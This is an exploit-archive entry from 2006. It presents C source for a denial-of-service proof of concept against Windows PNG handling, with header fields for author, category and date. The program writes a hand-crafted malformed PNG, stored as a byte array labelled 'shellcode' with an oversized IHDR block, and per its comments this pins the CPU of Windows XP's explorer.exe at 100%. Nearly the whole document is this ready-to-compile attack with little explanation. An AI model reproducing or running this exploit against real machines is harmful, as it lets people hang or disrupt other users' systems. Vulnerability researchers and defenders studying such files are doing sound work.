Author

vegas78

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-6192

Category

dos / poc

Date add

17-08-2006

Platform

unsorted

====================================================================
MS Windows PNG File IHDR Block Denial of Service Exploit PoC (c) (2)
====================================================================



// Microsoft Windows PNG IHDR block DoS PoC (2) 
//
// CPU load goes to 100% until you restart explorer.exe
// 
// Bug found by: Preddy (?) 
// 
// Compiled and tested with Windows XP SP2, Visual studio 6, no psdk
//
// Header: 89 50 4e 47 0d 0a
//
// Greets: scoper, [H]Corny, eleet aka takker01 and [...]


#include <windows.h>
#include <stdio.h>
#include <conio.h>

#define PNG_NAME "bla.png" 

char shellcode[] =
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52"
"\x00\x00\xff\xff\x00\x00\xff\xff\x08\x00\x00\x00\x00\xc3\x07\xf1"
"\x5c\x00\x00\x00\x07\x74\x49\x4d\x45\x07\xd6\x02\x0e\x0f\x25\x12"
"\x82\xba\x97\x53\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0a\xf0"
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"\x41\x00\x00\xb1\x8f\x0b\xfc\x61\x05\x00\x00\x09\x4d\x49\x44\x41"
"\x54\x78\xda\xcd\x9d\x41\x6c\x1b\x45\x14\x40\x27\xff\x00\x00\x00"
"\xff\x00\xff\x00\x00\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff"
"\xff\xc8\xa8\xbd\x94\x0a\xc9\x2d\x1c\x20\x70\x71\x7a\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x4d\x0e\x75\x55\x55"
"\x4a\x72\x31\x6a\x39\xd8\x85\x83\x5b\x09\xd2\x14\x55\xc8\x2b\xa1"
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"\xc4\x78\x88\x7c\x46\x89\xa0\xab\x85\xd1\x44\x4f\xf1\x7c\x39\x7f"
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"\xc4\x1a\xb4\x55\x5d\x5a\x23\x74\xc6\x91\x31\x5a\x4b\x25\x2b\xc9"
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"\x1e\x4a\x9e\x70\x18\xc7\x43\x73\x1c\xeb\xee\xed\x5b\xb7\xf1\x4b"
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"\xad\xfb\xa3\x9d\xd1\x7b\xc0\xc3\xab\xa8\xd1\xf3\x3a\x4b\xa5\x71"
"\xc6\x9d\xf8\xd7\xfb\x47\x8c\xa4\x1f\xc6\x0b\x5a\xe8\x34\x30\xb2"
"\x6c\xb3\x3c\x90\xd1\xf8\x15\xd9\x3a\x19\x8f\x3d\x60\x0f\xe8\x73"
"\xe3\x1e\xd2\xf0\x57\x5e\x39\xb1\x4e\xc6\x4f\x6d\x66\x7f\x36\xa6"
"\xf1\x82\xdd\x47\x22\x35\x32\x8e\x7f\xeb\x30\xfe\xb4\x5f\x2b\xa3"
"\x9b\x4b\x4a\xbd\xd2\x90\x2f\xc7\xff\xee\xbc\x2b\x1e\xf1\x42\x19"
"\x9a\x64\xb1\x6f\x3c\x43\xc8\xae\x2f\xdd\xf7\xd9\xdf\xd9\x66\xff"
"\xfd\x21\x24\x53\xf7\x5d\xc6\x7f\x4f\xef\x88\x9b\x24\x52\x76\x5f"
"\xb1\xbd\xff\xaf\xb0\x75\x72\xbb\x42\xee\xfe\xe4\x9f\x2e\xe3\xb6"
"\x85\xf4\x10\xbb\xff\xef\x63\x6b\x7e\x7f\x2c\x8b\x53\x42\x79\x78"
"\xea\x8a\x8b\xd8\x65\xb4\xed\x9f\x2f\x4e\xed\x8a\x1b\x2a\x24\xe3"
"\xc7\x97\xef\x77\xd9\xc6\x82\x57\x77\x6d\xad\xde\xf8\xf2\x97\xb8"
"\xc9\x7c\xd9\xf7\xdc\x8b\x4f\x3f\xec\x7f\x18\xeb\x7f\xbd\xd8\x5f"
"\x0f\xe2\x66\xf3\xe5\x91\xfe\xae\xf7\x1f\x3a\x53\xb1\x09\xdd\xaf"
"\x0e\xba\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\x00";

int main() {

FILE *File;

int i = 0;

     if((File=fopen(PNG_NAME,"wb")) == NULL)  {
                printf("Unable to create file %s", PNG_NAME);
				getch();
				exit(0);
        }
      
	 printf("Creating PNG file\n");
     
	 for(i=0;i<sizeof(shellcode)-1;i++)
                fputc(shellcode[i],File);

         fclose(File);
	 printf("PNG file %s successfully created..\n", PNG_NAME);
	 getch();
	
	 return 0;
}



#  0day.today [2024-12-25]  #